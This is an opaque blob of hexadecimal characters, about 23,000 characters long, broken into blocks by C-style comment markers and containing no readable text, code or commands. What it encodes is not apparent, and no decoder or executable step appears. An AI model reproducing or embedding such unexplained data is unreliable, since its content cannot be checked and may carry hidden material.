54ebd410dfdb2a8f173f53fecad1425eda6db3fac93166cc63627e1de8944166a926aae9a41940ffa7837bd2e2fb0da50467fcf75bd8ed1990f9dc3eae301169f0f9113e2d4b1ed8fab85d3bff169650dc6e8da500ad5e0dda2fc5d84809c5e5f13793cc7835ae8c1133c64ef731de084e114ffda6d6fee6a2a95595f1e44cd7d41d0af0c7d7a727492f7ee484cea2c15c43d2e465417390f75cd596b9ac1a63d83566033eea651bccbaf8631822cbc32f9cb69b753fe84e1dd1c56a2c17de86cc677445a367f8c541a908d4b78690dd8a8e66f3ae9dd696c4eff7628a42544a2c92eccd307cfd4a30978615614413a08f7f2b6894208d5b5cbde3739fa9d330546276be5fc2af9ebf07cc925d1ef343a650003cf9ee87eae56da408970093cb98d1d81ecb13656cb7d20e69d49637c27147d4f2c169a17f88ff71c74f32f043004662250cf2a0a4eb9c3770f4585e1715bf3acd9c12a3c6975375f7c6ba5af3d4a918166567c0cbf6b4046505e245260d32d6d8b13b0da6e33380056724486606d3b41817d62b0b37a0835c4ab8746262a831d4df6d185bf7c38c2e722677325a09d9e27a92d95e5a53e11d22a4750e3fbb8970a3f1cc402db9039e9ded8e9a13d2c9c1f7f9601cd4ab14e53877382a78aab0bd215dea438c98d5877bf28df5b61f6b395c31fa8246efc932cadebedc66de4b722e0082f446152a0f84afc32c9112843f0907331206c21cb2a317bc672d6a3326ae6b00f6dab04c619e7864e69e2e61431932f55419971898c6264abf977f20e4296c6aa62a1e2d5b9f2c9e91e20af01b8ab1692bd886665238ec52ed0223cf374dcd7b98dd9dfb078feb1e065e95160aaf3f7966dcb0d4fc13d5c8e679a62277a9ad94d38d94dcb2f71b7473c357248be3417f2b5bed0e1d7a7e9e515b8eb59163baea7122073f73da42b17b52823a6d3732782a669168e736923e5f46fec08321b59c46ad0e69be2997a12aee86b0acaa64cf34a831df7e2e1612f288141089185be6d523168ac6ed211f92cc9fc966e1613efe8c29a30f53628320ea0ae58c5ad2984e4bf41265e0be1d1ac1c5e94db871e900755ed497bbdf55b027446cd9f27fa3ffccc0aba01fde60c907a05fef2057093c911f7ff6090416a75cab73b874f6fab9d55a85ac5a87698f569c37120caa98441b51f11d893a40c3ee6c252b7f9f6f2476e090e4ef6f8726e8de2fb12a532cacbf37d7de36112d2186c14e21a77f0ed0df2cce8*/
/*b50b87f7ea6f96b373a0cc84b76a8d486f830d472ef160e187bebbfa5fcb6b635e25ebb21ae6eecf80903c06a04f1743ff679facddaa20ad0b8951acafdb57a7ba587c14f4990ddae9f3e2af19042d02ffc7694af2ad9126a26f9245e333af792f69f55a47a568e3c3f394853c5a40f82a31161bacd69b8a90fb8a0cb8db88076b719170f2abcfff7a60583ab3eae904a2e214620fad004c9f4576ce48f156b499d21de21b795f06778cc76552d0b49c93f51de77d62b2edcbd3f49f865d0476bc08379398b89f08529670e0c4605a4f5dcb733a2e658b7b13d06c47b9d7bc932b91f5998f9cdce52005fa6864f8dc5d5a96d0800d5e368ec0566c9940746fba9968648897faee74ae27a4e7eadf97f7cb517369fe5040c25ac674105d8a18b868fd092f288552f2b885f7442e468483a1858c9e85661360adf8df81559de519139def5e35849e95d6c28a56859e09bdfe10a9905f4e9da081ffc7db03acf5d0893098b67a1e0ce2ceeb609dce1e77a356c895a2a1558d5a746afd04be2829110c65536250a191eb07cf60d2bc691ae21127c281854efa04dfb049e4feacda411645299a66ee006de617c8a7763467da0f0c1f88dbb258343ff09f833fd7fb994c7c661ff1196a59723db4ee32624404ca40c832145ce7cb10d9ba417c87813599c598338be3ab3bccc6fe696c8e89553dbe19ede6ab03358927576bf75b542a67ffaf589b6a1f8e8b10b3cdffcb6bfc65ee5468cf6fb42ec6b8901aa78f446fcc817d995af6fe3f248d70dbde44ff9499997cd5500f3168c170e3e20e7e09f5c7aa52ab7b174f3dcfb7903da92e712aee9f3ba639fb30dd339635962dbef9f3d93b2a2cb49b02451653bb7888f50cdf8f3d96866123e2cf3fa07539aad79269605eb095a0f5e12d995ba2749d372ac5a0a217b8f7fcf9a5b8a7b27af9e98fa22ded8950f81d5e578f0d3b9bebd2b4f9f109c423e098bbfeb8872a5a8308f26d2845a82a804cb3c43feb2ec6b48356cbd8b367c19a59bedc3e2a7a39b4f74afb8f0feced8ab18b7dd0cc0aa1b1b153ba0dbd5ae3c5bd57e54266de22c406452f0aeba7b88aecab91a2774e4d67dd60d9c77c1d8729757712f75bbf1219592c0ef785fef500f8aa78950cf270ea5070e3cd232f97dffb41ec8c3508b584672e637b394df8c73e9549a1bd7d6d07d00929d3257bd72c6fc1aed3c208f31d8b698eb00e85936b0c767b82ee9fbba490885c430d690a2b4b8ae7bf729fac3d8a5ad15ce8d0d530aadbeb63a70917abca33357576a91422be99e73bf9f2346159e6e21e312a5a2e84a4e6b84e01d9556a90366eba7e48bbc1939c0f18ecfdc027aaa072f9def876d9cdc611e26dfeadff22a4c0dfb25e5db0e942ccb8b2a07d01f84858504ad60ea19e8837cb0c7eb3966868d28f37324973acdf4b30206cbcebd01643826f3cfd1c6ccbaf147760b5b7abcc4bf4201666c05ff5fee0c25ba63350b71de766bd3db4d4069469557fe2c3a4aa8e244d97efdec042630eea9a777a9371b050c13f3c806fcf3aa40c64de0ee99e319965bf09d2859c3efdd2f2106eb279dc31dbe31582171fd80ebc85177404dca73cb6a91c812ca1c8f67a79024d8f6385d71003d412b56fa24ef880b9daeb0ea23c14bf065a8d529e4d86ee5a10478a6385803e6feb541cd5539a098f2b61da9e4aa93ac5e5aa0c67474666ba4d082eccc99ee8f5559705edf6e636934d36fbc6eeb26b369623a76f176a19bf11d9308bc7b7c6c6d33f9d7c696a10c28770767482ec73767780dca5d528b2bd8926fff5304f3174fb72e45cb29212bb5f4e4a5d416d613d058419591fe565c35f38beca82e31c20b6587f1b779865e14d67591c1e86b5407c978f24c387084c59c05b5ffeab33b7b281305fb8fd995c1dcccee9e2750976d1e6c36e422ec77b1403f3b23e41f7aba19333af7309111602e558797f2d1ec1ec727a20fa9caddecc193645acc853dfee24913eed5c2bf050b13101661f9abb85cca52ed35134524c7b7bd5128a3baa7c58be71b119fa0fb21af8dc644459a7404dea57183a7512792372766ce5c5b1c06c60ed89a4fc2a04b7a6c3b3124bd2e2cbcdb3637ae9374c77464d3b6a81f0988463e72f3e588b425e9bd78fc3b977655cb83bcefcc70cf55680700b8b5792e4b3d7727b7a2ac62eece12474ca6d636810e7b2ee223cef136fc8c95d0cbf5ab0e10af71a29411f2c0bd4f20dd857702009b6fec48d711c66dc105d20c34b966ee51737be19a256d54fba00fe712f219ed548a7ff8243c48907a15adadc4ecb0f3c7612d9294e2fcc3d188e1331ccb5a0ef5afce5a315935988127131fccc7b5157937446ee8ea0792e6b2dd694e8cbe54b82043cafe13e7c19db368d5f62a152420cf9fcbc95afdf40e2d0a17d16b7904d1b984341f2c2fa274d58c66bfe6ef2b57ba45ccc2908ae054a8c966cd9c652e3d290e430daede305d583678da979b14f12e4878635fc6d323de12efa8526576ef61ad170efda05856ae764454cc167bab9df2a404b4782b73e3ba976ce3822eff1fc66acb76904647ac3a5a83114ccccecb8736f55511ebbc0f653a89269c3dfaae76f2107fb0963126ed581fd18ccbfc8910edb461fe0f9a8134bf9fe76f0784baf9039f9b517e83708a22f82d4ec936f8375fd6a78c8ba7faceea2d52cca22e8277e8967a25c88775986e2d39d19f20fab956f8a265e764ad57ee962f86d62a072bb8d72dd39758a46188d9596dec26da1af4800def53f76796566ff3349488e8c8db428609f166881a98557f22cc6c679de7492f501ed26*/
/*4994cd55f049aed9e9793b0eaee3c91fa8f5a580a21dc913c9abd2d6a456d160f2c6608ee626875485c19e82aff6e1a6ce7008de87a7e7412bfd5e7fa325753849fe86ffeefea71b366282cb541d89e71d2009cc0f586608e82c573cf8b6ab15d9f8cd463dbe83a3d8cbb4c5683b3b9b4cac830a016bb61d2790a98e24fecee64f856c77aa37785a9969d8abb2ea1c2a324bd2a82f802ceed025f885746ba2d17eba43ec4f0d9ba95fed0326c117945e0694465d1d5b0955ba5645b090a907753220405a05c2cde31b3f3849409ceb02f2ddecedec8e0cab3256b3ba3d46b4a7d82cb59acd21e96e5944fb2490513b5402aad54eabfdf40b22ae6200250eb66394e6565bf406dfaf11f967f1d13c8c76522763152171c197417ed367645a4681b8dfc56dcb6e50fffde40284d86618ffbefe76d4d778ed3c8ebc505ea13ad2a86f5504a519375efb5e0c2a7ab39460bc95319282c8237cfebb5cc01d008754d867027b996ebb28435558bdd3309e90c1910361df5c934267b421d53a43a526c57a57d598b995c78544995b022353fecc74469d587cc5c77b28c4a35d873938b42d5581859af698be1417e64fb43cb71d4e9471fb7fa17d2d20ce76d32786fe371732324b0ff3870b418e6ec267381a4272d83ec0284ddef773ae0b5a788c81b7034313e04b1ac29493d8158b5d4cf4c8df136cdc7766629822d2a59a5ea43a06fbd0b7c8132907bd503176e51a7b4eb21350b83d5bada297067656bb1fa74b104f21904e0faa77621e07c916c74eb8fd2cf6dba24095198c702d040c75d732b19dd93a67c3507ab233d582c5510174fd3dca628132cbca489bd4d93e42b69b3d7fe96a7d992386cf2085755642cebf59348d0dd88e91c41471b35377d38f888364ef162d3067997cb1ff3528dbcd90cdf9eff118c941ca2c4f00e1e27b6e074fac6ca2b384b8465dea522ba6e97f8d239eaa0969017f2195769676c3721df7bdcc50db60e823df66f4c00d28a53cfa3d782219a6e19903b0e52e00d439e2e3fd5eda276bc85ce060a183946f34366bd9b37a365be2b634016c682f6ce8096510d537e89f97fa8d6feec933ce570e79283ac941f46de928791daf277b05cbdc9ef494d0d123c21157eeb91fd7bce624b5f010bd39806b5dcd2d5e85a848685d669536b612493578cd18fbdeb4c3980006ca5356b6c2615be9b3e6395f6d94812658d25b61f6fbcb9929c18b7ccf62617dbf5671a184b5de16aac783039a8ed6702d0994c27274b6c62ca078c41e59f65864edfcf126c5d02219780a145ce7c9d8e7ab6ea8db4c0eb6534737a034375bbabfc557e1a6bf399136fd17df0850bb4d936ba6b7495453e54cb4c0765272da3a5b34a2c16015b4fce30a03ac3477a2fe0c3a045bc8c797bddb8efd92a60e88c60f2ee7080c77d19bc730a4e173a5c5bf1cdb1aef107a3b41db4ad7d6768982ee6baf581d0f0fe6d019a866e3d9cabb2aaada3e2aae8e273aa9d237468410911ab51d47e5cb5a50e936de8cb1f64ae909b29b04aae415a73a06f226bd6eff5890a662ebeea9f68d9ccb3e48de20b15b73ac9d318af69ceab135d065baf6a6df15aa0f21df670600f6f72f11f57423d53c1173c51f10c0fe36c225b0dfa6265926c7494519e01036fe74e4131c1badbb7a94d8f3afa3ab58a44c62ee45de8ebdf1f9fad4f09708f61d14ceb8a5b8bc090cac74b6e095bd969131b18484dde1f1beaf64c2f76be0ab1018db4152dd03dd35606cf9a20775c483f92c9c4e9079f4301de8762987f6318131134c203951bc7c6c3e395cc3df13195fbc0f6c148b19663a6182d98a8cc31c9d289b85968dd68a64ae241df1dfc81363f3a6423dcd0f0aeb2be54f2daf7ca57d0a0301d57b950c234d955cf78638bc8a542c93f382b5e72c9fe8bc516f0c7ec83f72fa5375d5a80bf7061be3a2612da01216cfbe45d63358e4a41b1298fdfe6f5b37b41c3b286d6bca0da2ac40ce83b4571493c0e9d08dacfc16114cae72722f86a9b45d9efd7caa77874c13e6fc78bfff65f03f385c70e8d01d3223bcf183085b59af05b00d830eda29a23de060ff4d70cb502c675a0fffccb0297c60a6416794289560fe86047ed8662cb3b91a160a26edd84db791452577aebc5258d811e9d155cf5d9480a17019a4d9e77b5db529a34b5e44c8749eea4ab85662738aedd128fe1edbbab56a84c472cacc5681c9016ef9c58608105f88a86127671a42cf2214db01e8b370e3f982b206c479d60bf9a7a27ea96c4bd36c92a5604ef5fc60db742da4ec69863fd9fa75e91c4bb906067f5d23be3bfdf23d981afa705c3afaea24a937f845acae52967cdd0f7b79cae30fef7a1f0a1d3513e97c580765bb7fb6206d558e67529d51469320cd1a9b65dad442fbd43ad073c585cff2c07b7709e9e90c5dd4d4f9bab52dd99e6dfa595f9475f9c8e8dacfe140789e384e271992cea9698cac7b6ae52789d0bef7dd0aecae46d24f346a113178763bc53d2595cb557cbc7ff6010ac68132ffc03f498777349c00a0ff010302426378405f365e11e9f7971b767d19666ba3febae2bb9cdb1a63bbaafdd1af77a0382a21a75be0d91602ebbdd10dad9723ed952fea3abc4c0b28ee437fe7d0e92019ec579ba23f47764ef6088290a68c0bda4266ad5f4f238c8d81b44d40510797d660a11e95a528d7ce7e26011b61f78b70c7282565493cb0cc14b7243941fef57946ab9f303ea49c23441bed8784dd79b36d6a8b3160bb1b1a3631c93faac5aed493db5e0fbbb03b30677f689836f5603d0e486aa5db2bdbe79136a4b84a54*/
/*4b100c36d91b2d40304dd7af674c49c0b172bb2c7298a1d2799eb0deab7623700b16e87bd2811dbcf7a4b8b2f4b39f9139677cb5d951d75787657a6efc89044cd40dcf8dac2e89494db727b82171b28359b919688f251397b8efc58e3e61c9bfdfcd15da263de5ab571df580dc64abbdb4162c3431d340f9418aea9c63989d861c581106ba8986aabc36ad22d7391c879c338741e7fdc249decdd8f4c8c28cb0dc0fa59ba7db1ea986bd363755462207da30b666dd56e6d6f894f2b7b3992e1c454443af7264fc79f6bb7d36b2a96464d55177d8e1267547f71c5cfcdc3a79a6a103a07ec9db69f63a79d2ae077e3974f0044369d0cee65e86f17ed12c83e237002631e2dd78c9fbb46c2e65076de0492d5bbf4e56bccf9b070ca8986d5d941f73e17f8587d2cbdf2d7f897be85dd05c1321b01341b847c7fcd30abf8245ba522f640ae8c2e9ca4ca674ff1d30097c6279328430288307ae66af66db80ddea4dde965d29b0fcc7e40a9b6a63880985ea49a15352c20e7cc8c8f6ca7fb4754b45f94adc4568b2b7889080e2a9111cd011b5b26df1a52c46547fb8732c359d118757e8af985df995c9ffd57e6bd235d314589e8b5559e48200eb1291f266743e09c5947fa07d6403c94e7de6c5303ffd863bad3bc140e88495d5b169c121aa3c8ae2ea4065dfe4f2af9913441a18797169601a324f49cf84c9da8cc113e88b036af70f6dc8ee24468873231e66652cc625513081d9c2ec82a39ad50b75a694ec0e7d6a48ad28eb14162cf09c80ec5b2460a762c1ff584ec2ad038b81bc5c3b4354be90b15a90c39d099cfb13d789c202cb33b1c47e95045c79db2b840d7f3ac0ef988bb089a8f00524f284a17873c865a6aa22987351782b67ab8e5a120e99a2f5bfa91f8ea1ad3bb3f42e8d11e9257f62a93d99a49f32ddd33c35eb0b5e93189e342ac2216c3c7f228673ea2f755d14874994d03b216a1f238352412685cede6c6f2347dd0765448f84b53059fb9754eaaae5f5091f74a5bbced0b4002f0d1c6aac13290eeb48c7af71c00c03dd74ec44436ed5cf16ad75f54ad0dc550c1fee9397a21507862d46704d31ef1797875f08fcb8e4eabbf444538f095dec24b533d6c9b76cb9905268e4be4a1053d04de75855faeefd5f2e20fd6bf438674cd8c1dc3a9800c7c75b7ea4992b6c66a25e466aaf07e1952dc106b43ceec212bae8279aeef56cc71d56554d837b1af54c5c71e128264e938c3fcc6d7082e0053f338f2b95d3e6b09cbf013b7c47c9dd3d146128dbca02b6372f9e88a687ffa9b474c3d1b5c1959be241f2596fe2fbf048d21d30898c60d678f989ccf044dc2ac53850045c41d2de4b9a34e1970552bf0f51fcc0814a7038a4dfdd7bd7e00007ce7c4770ac3b9d3b61e62e9d111517dbaff851f18b3c9b772e9a26d166b4e971dee8e9fb2e228f7169c5cda575960d754373eaeed42bb505116d630543621715e1774d72d84b8cec0e787e50b1f90c086694ff61da468442b3fa6eaaf30fa4446e683784c0d371b516a05edae44818c2fc95e2f7ae25840e4fca81d45eee06e3528abc5257f32b124f242ff976d10c9980db79c61c39b77817d6bcec4db9aa39ca1ade8e320ad22c7fd2cabed2e778eab4c394c63856d578b3227b27f37c8aa17f87dde1507443ded766fb7984bd4b5b0ea5a32f788599751deff2027e6c7d8452736904850f256c81d63501354754f8a891f4d7c0ba115114a233dce791dffe4ee616d241e440c5b860725dbfe15de7f6c32bc8e636f80866d3ed79c216adf659b7b7bb838ef0671f9bcd9a2dd73a4771b2725d0cb49825e4cd2d9187a052606c69b3dd424e5ae3f5856254a2039eb4e04b3b9368ddcbb782c35e9a005344fe67da76a54a3b51a54391f54193cf14fbc5bffa7e9469a2f142cb58e20a6a73f03afe3ecc077b52e0b6928b76141a96f8a214dcf458b8e4e102077c9c7bfec9e74b2e32dde88e4c429d8137fa6aef384ae986e40a1a3e42083aec850ef3cf577fbecadc3ea3a7a5c46bf4679fb662d8d30588c8a450cf497baa538e5d56553c042ee918680cd57a14bf38406f76e157cc59969632df766c287fc54935813521f989e12448ede4953dcc0c3fe15e838a393358df5122cd9371931262f49612ef7c8d0940ca21f55461fde98850f69a247178ca081aeb4445eba0c79d46481e2b987bd767f42eae2e5c9602d0e3c723e3a126e135391ef2eef43153f85647ef406ebb17da50854efedf3ffb0e5feb6d39dab82f729578af4bae932caf8690e8b477eb5218c90d87518ec817c7070437dd3558fd2b3759978fe8f44f722c3eba45455773d33ec2c9e75f15e1b4fe54deb2201196e1f06031731fc9117f4d6c41e0ca9973c0166e64836c2851f602db7e43b5dca54a0a07ea4f05f26e2ca726af44b4024df395300e2ffc8e31eca58a0b0a1a59ceaab95e6c93ee3deeee2e6f406436b044fcf1953629c5fcbbe9690c6984e4ebe23815c445f871f97b84d1346ba97fabf9b27a504a7e555acc41bf229b3f20189ea6aa7f59e553ee78b4c9e5c2ef92ab263fc908111a4cea0e0ef73a8316404dbacb4941b625910b953c3c0a85647b8fed96ab827ac3e96cfb6ea7e01897fdd27ae55cfa04c918b4a4f8f244b491239fff4ac486a4d10977ae572ec1bdd72680f9167edc74b3e0ea599ef8a1c07bd98cfed3ab9839732c0f2b41e72cfe7a0c92a6b62109075a1dc73f0a16718f632746fbcfae2c325b3ff6d6aa3bd5a8c99ec05f4580fbc714789b65db05b609bd54b58d980c2dbe4d3e88eb15132331584994411dcd*/
/*aa8e3629189ee875f7b60da389476fdbd68e03247740d05f91acbf8c23095d1cbb937f6ba3a93e9df68d49cd37f104ddd031fff5a5b7a35f6bb34690da6e66d090b156d5e9e2b3e71c7d01b8a9767a14eea8ca7a72cd0efe6adcd184184fa11cb716e428d97ede1df3decd18814bacae0f829a6959748bf0dfc9d629de9efb37cd372ff2e24cb5ec9a245b235da1bcc5f3a86ab6fd948fc9a7344bef9171edac3c70aa8e139cb0872ee1d3d0b82b05c990fa3f51b9b09581d8430e859c1d65902a42418434726747cde167d2c58c0169be356a259a1af7f14ca95f1bc4584f715dc5e6715f245429a98ed08cf5c7de9754b1f19e3e8d0afe16abde0757c5506ef825d9959fad1b974a6f4dd3abc8bf15b4448880a71a8261f1806f4d2f553ad4a1cdc0509892ba5547f53035f4c753b5d54838e82d4abf02ed21d7b4ffda87b020d9ddaee3880b12031020a533ed53e30ff9e734730bf111d0b297082edb6b243d6b79755c4904a97d9d390b7d1c9ff8f5f861026bae83b468e7da955c15acb47b75ac130ed496a6ee6f3a094c6211ce5c6658dca6e29d1c00a995155ed9b8a3938c8414874a9de679f277aeb9f6b3af1a9bc0729eaf38a604adb0fee20b388eaee3affd31b92e5447dfbae259516f32e08f7af7db868e2ef8ef69fb9dcaf31dcac2d265951f3c9eaa73701ec135082d5ce32128b1bf5da5a8a888d9ff39d6e6f1692191e51b071ee5f3ab6be5f49bf08772f3a1969bb6c69dadeda1e4205e8e9ab192714fffe25018ccfdb7375f46411c0748e89fae135edbfe129e5322bce62038dc895f1f0799fda72892bf179c6f64483f34245646f8d302ef5f20430fc2d7c529f08f9efd6b724d7f3c161320e0471af6cddb4995076c50fb2db4860f676481fdad74c6ec310b25c8ff18e4e85fa547e1c77d25d9bf8df6a9994bf029b7a6e00a12357bd391811658d940c0e4e0ea46686cee9d698f101d232cc45709985317a63fa1854e649d9cdb8dbc7baa234db6325b7e278674af5d660ff9a79980923189b50cf1d112080714ad796bfc53157b289287bee923cbfff95364e07b8443473512789d5759e44b98305375bd93d3d1b26c3926a352f4bcda53e8e41b786c215a8b9844c8c3aadc8be35ec0263fcfddfd4f6736931663274a5b06334482c0f510653d128c3ca986d65c868aea643596305a7b5367336edd9f6a5d062cabf0de2556b167bf26fe346ec43582d9e2ed22e25976417033d4d6e3b4974501d685e38e72d469715111f922b51572e62210150a6a619daa34af72b1b22d590a1c382acc146ce777247f294f38e2257b0e6e52266f1b88fba0a54deb53cfe570c5aa86f923a4658954514caf1f1aa735667c373747142a04bf9ea89be2b4ba401abb1e60adb75ca567f97a9e2e998f293e80e35430cca75ca7d3e37d0785b63d3a33ce98eec1dcd90cb1eb9bd51babdd2b7f4e8e924259b0f2b341850f7ae2144128b7f24b483a02d5c75f6d4e4321a25c1514ad3cf7dc59fccabf0d88f5e621caaa382f726f6fe8bd719dc7345d16e9166ba5fce9c9017b92be19ddc3fe78135f3f933c657d03b505df6e1b21786450fef2f85238e6f03dae13e2312ac2ba85f5a6669ad5d9aa3f11f164cbb0948e62c495ad7e75279f7087327494143f1476f5856909186b30376ca13c17094c50e53b72ccde9e663a382da5a4139ab54cbeaf73bcc601fd8cc410bec8e64630305d70af09f00f258d045728f9063bec3186b181d315556b101d9f7e3bb1a38c4a47050d65f0d44ddb1d8434906e256d30ff8c11947d646e3494ebf91a326d0aa3c0196602ebc3a3da949b8627a424154076c658349e9430ca9182addcc5df1ac9c61b2d220b7a671c588bbc1a0e2430849657059406081f1b26e7d847c9fab91d4d23cdde8c46ffa126db542dce6688e3d5f515fc7f2f8810d1caf6a927a5c8dd89e081470a6e64e4c2b8f83409337c91005e9811a7d2b66cf539179942762c4782c2def0f9d368df33a56b38d9ce41d298a75b58f721b9e7c53412a6fc0c851ff37eba525fff8bd222261c8c8ba9de7439fe209897ad5ac1c5ee38f3317dd6c0bb000a21015ce6b5c0fa1c8310c1b7d872a3f242aaccf54371f04154b3ee775e3884cda08577e867a283b5e6b3135d38d41b38e124fccd899043486737a8a1e1f3da822f1fede9395f1027ff26498b09b24dff40ad183d39013e2a37e096f435233deb92b1ee1a6209fc389295415f8baee110c77e7bc15247025ffd80b0bd3e2685df06ed1728230fa890eebeb30cee117685c6db0321ff97ff448f10f1eda9fd620bc15a84cdc78631fce28a9124d5004613c363979bebcb1e45568a1154f4460a6697b683ac30c9061152ff61b24ed59f4d04e92b5de6317010d441fd67bb56c13439ce008cfce280716c7dc3108906c7d5758b450133b11652cc5ed9f7bd9f91dfcf55b1fe8cfa8c10ad8696f976fbb0a99037888295de5e4bdcfdd12ad57ecc4e7a1e0de03e6aaa1eaefd310861433d9b8cb86a82c88be41aea939ac16d0624bc1840485003b1f454ccde16f827d1d2ce795d0044087b7ee92c11893843ad5c1d7b27bec67ef7724e21006a6558b821ec58661ef4a7e0416770c5d12be1d23113cb4ac86b6cb0f72d42e599ed2509ee720c66e7b23e6573c4e95d7526c618353a2ec0bfb0675404c795537292e3f11079f07d1b79b182d7b555f4e502b8e8ec80cd880b0db456ba3626e4ee86c239352239d38dc0879d5ed600c3279cb457b84929158cceb3de5406c128b379d5e27b8fe46cfb46199ee858b5028da8f62ca2*/
/*0b1f85e0474cc78a2dfe5b8c2e214e213181f11d91ab432b559452b89a7705f1bf9c415910f11dad7a89c5076214d4f1198e069d316046ada179b62adba5f797db0cc99ee50055e4a00bdf8c4f81c4685c070f2478a6f60f0a315259c597966959886ce6d419653bb9963a5593de05aa1fde74d7d8f0bd104e868c58681aa2e260ac47eaa6992808567706d0bdcd07d1e4d2a5cce62f1baa4cd0690c71b15e1c9e40a3cfda28395aadfa033f7e8d6c75a99f654c2ff902e271e5c2d480f5621910043a8373fd5367be2f360a25071bb7fbff6350f1c000184b04b61cd50df069595d75c0827e8e470ba55525ff0aefc141d9846f15c518ed5d99100b7c13c93ee3d063326b9fa6f174cf77632e2a02472b28c42c2a6475cb2653293332fea4a8ae8c04ead09b034590a3dc68b49bb0a12f49b03b3b76aca1d969747399aef49298ce2cb85ff53ab524b58df60a401f20e95a3c86205128bb1119dc5d60a47936fc6222f797f6c9a629d7f7e276b9fe53c4246397fb982c590ec24f71e8c451979eec94b0bf73b19154f6eea6d563927a280b71e78764ee35c958f20b4ba75f2eaa5c66ce237ca732248003d72a7f091e59d9b506c1b011e8786b0a0b70d0796741dff8e26e77a40fb4a6b09efdb7a722ffe45fd76bba1ba7a2435f66f71bf54f7145e7159bf314247a9e09c18ad28dc4b985fdc6357b4de877d004bfadc3dbad69019cb07eb6e4acb46cd1f901e0f297a9f128ef7b6158098e47e9b340de2a82abcba1b27006f68b67ac6319acddd4ab03cfe48794516e7bc20332b3a8d18d8fba53d3d0d2077c18e5ec9d9ab9390f1f25730c7d67cd8a8ada4000512c37ac662cb6c82ec6de11b49ccdad25fe1e574187756275038b2cf2cdc1bd07d12bf06407c4c1a0c58aea2d975f15dcfd996aad69697b1e45f0f72dd06d111fe530950a3efc9d93503fed50f0a5a9a705e5342663a3ed2f767a749d0a2807d34bbadaf12213b14d14ed68a0d8afc34c5783addeea6e92a99ca42dcbec33f957c46c0be1c1185a40a90c90b7370e9e39e6925966d7cc33598a115e99abc394094548930d2072a036211a25e264edcdb53a0e41d4d7ee5c9023afb657f216dc0a892456d9e6d8845cfb28ed016fe4748427112dc0645736c12b4dc3e43acba4f645234a5bc3609b5aece452fa32adc576c76c062bf5c6a87e6fa089db055e8ba7a50d28584945f4ea2b00dea7c5978a3330cad801b331cbc2ce5fa52211d32aaf68b3e60ce54459b91d3467aa0127e8b6951abf24726a48198b7336560bff4df4dee9ddbd43a663e65685080d99e2537dd27052ab4467ad86ab06fafc1a124a6e0b541d5ff2b900ff9af6b4b10656664212770c00b9bca95dcb1deea3a8acd6ff6fa71204858d7ebee60f1fe52ba7b34eb2fdf7e3505204435c45ca6b061d76a9465a48890553051c669da4150ff227d56dfff63d069cbc649bb00d38cd52ab41bd2c5d3f1ecab7af5eed9205a77e2183a56502551b947dc22d5128de1a91ce2fa22626eb5553c335edb584aa203bcc206e5738db59f23f1e6fe4e7d3de3ce69a1cf1f7690ba8ff14813ca74feeebd36df7d44877372286e7e02cc379a29c1611424e68d8bb2d6edeefeb3d1469f1bd6e085eeb37391174f78ebfe2efde96693e37bc909839c6db2cd60db4b3617aa0b9c2eba6b2a11c44d1df0c953889958bf77a29f1c0421848d840c53b62a6aa3bc4636a3508126f524dc770bd0765dd8c8645ac428c4d4cdf4bf0e78269776e1811350ca51529c0d2b3b414f346dec905e9452e7df053e2ff4f984be3771b1c26981e78bb44665e50ec26952e6736cb9b9a93f8f10373cca3798d6144750ee20c1a7cd31b8b612f4929760dc14a12ac1273e71f4f5363eb4ec3b7a65fc0ddc1cf9d0ccb266517dc82e7d2fd644d96546e211558c4692dc1eb2878ba94e76778fb7ab20d5a031f88c83154255379c1cbf862901949fa093e8ac79e71edc700695b5b81bddce8714e427f61b53b404a5d88c7c09887cb96a1fbb9f59937ad8611e27d25e5dc62045030398d343fad38a4e6442a4b799bfcbd56dd640a09c230e12b25f6761746b02456b7d288080146089aa84deafead58bc34a4b874351adb7812f9253426e781b75921e3c196612ad5791670e83ef015fccc96b688d54221b0c1744317315e040e8798bb1f37baf9c999b22a8d9d1215c7e655bc6494bbd27d9f49baa0460011f4240997f0bdd57a826bbaa9abff0efc6e4632f122a50c738453f5633d05ef072dd6157ddc68c898e4982fc929ecb9b9aa7139edd92a645494558422af3bb52e09861bccb8dec74b16ff241245dbacf6ac5e90df172e8e25bb430dee9808516e48635ad800a87625c09fbb8eb5be5a34049a8c5352acf294da66d05bceda761a97cf09de8db8132caec4e235c2df867a91f1098dd5572f8741b757be73e86cdb03e7420cd7f518f7a8d3f13612d1cbf424114e98f81d0c50e901e3afcdab642897d34c52512e04ea9b30d0f079f2374c82d1e3066c605b27c997574725b9d7e73f7ffbb25dc80e35c1df099e2eff3560b661fe4ba02d6df58fd8776c227f9c31c37330b78ea1680045423bc1b054b46de44c11383ed1fda8bdc0e827b264f21400a08dda6d8b2bc8790e82e12512ce8cb10cc3b4120fa7858129dae2a3ef3da9d6aa90c7feddc224401a918b2cbbfbc9306e46197edd164a3bfbaba1b390c44a7c28f6b4fd31e6870226fc69ffed4174636ac2daabe6168d3711943324ea813298caf0c3c8f119ee8f04161a5ff9b19a7c9943c2a227b17525d7b8e7ed7f9a*/
/*301e1140ffcc5193d4b196bd20e8c9f47f6147e260b3d4f7193aa8164df80647e0b12687fc8418810b1b884425e38d1f36c3c3f7332da163379210b5bdf497971c0c8d9aafd547db54491f64c0d18eb2c9cf7e5983562a6e05149d3086ab97cb0e09d168dbdfcb5755b4c8dff70c3aad2a61dea4bd0d57bfe6e91c903f7252cd5c51497db33545670edfa83c1a0b8e29b8535d7195b25a558b258ba4f780a9507c196365cbb82eb9be522e4010dc448215ac32815620f149fd25d90cdd5f221994e501d48535fe808f33412629ca941f3e3ab07fd9a4e99787993690c8a9e30fe32f2c4316ea9c894ec5207cd673480cfe944a595c52e0cefc9417dabfd9ddaa713923f155e9c00bd507661cf7cab7285fe122e78436570019b59d891cf0967ee7924340e6a0ccf0356490231102d1d6d99ebbee88fb20751e4c1ac768d991cc789f4ffcfac1494785abff43cd52b4ec530413b48a9561db65d8027089393a9f7c52cfae8db465f4890248479098ea3d54e6469f2eee38769c59a216e4ae0ed0b1b39771d3c6ee4c089e0b8c4240560e04007f17571a8a99bcee683ecf33bc231c0976f0dd30e3561204d84c48db690c719fa7a1ef231e21ee88b56b38d9c41029cefe4721d129fecd58084c516472b59ec49129b91cf9a81cee690d25626c6caafed1197b19b08088e6c31a0ca7cd9a46c7cd6f870f8361196d347871e024782df2906658b9fd4279db6b21b7661bac9f400fc1054d622febd70667df0a94fdf995d18e730da808b5ceb503720c7c76086e629d2726a1b90480780c0f812d8060c3da72e9728d91e214cd3a2b324db125c8240b63a186ab5a998d4fc753e55208d04e9df3cc32c0d30286404d7c2eb4b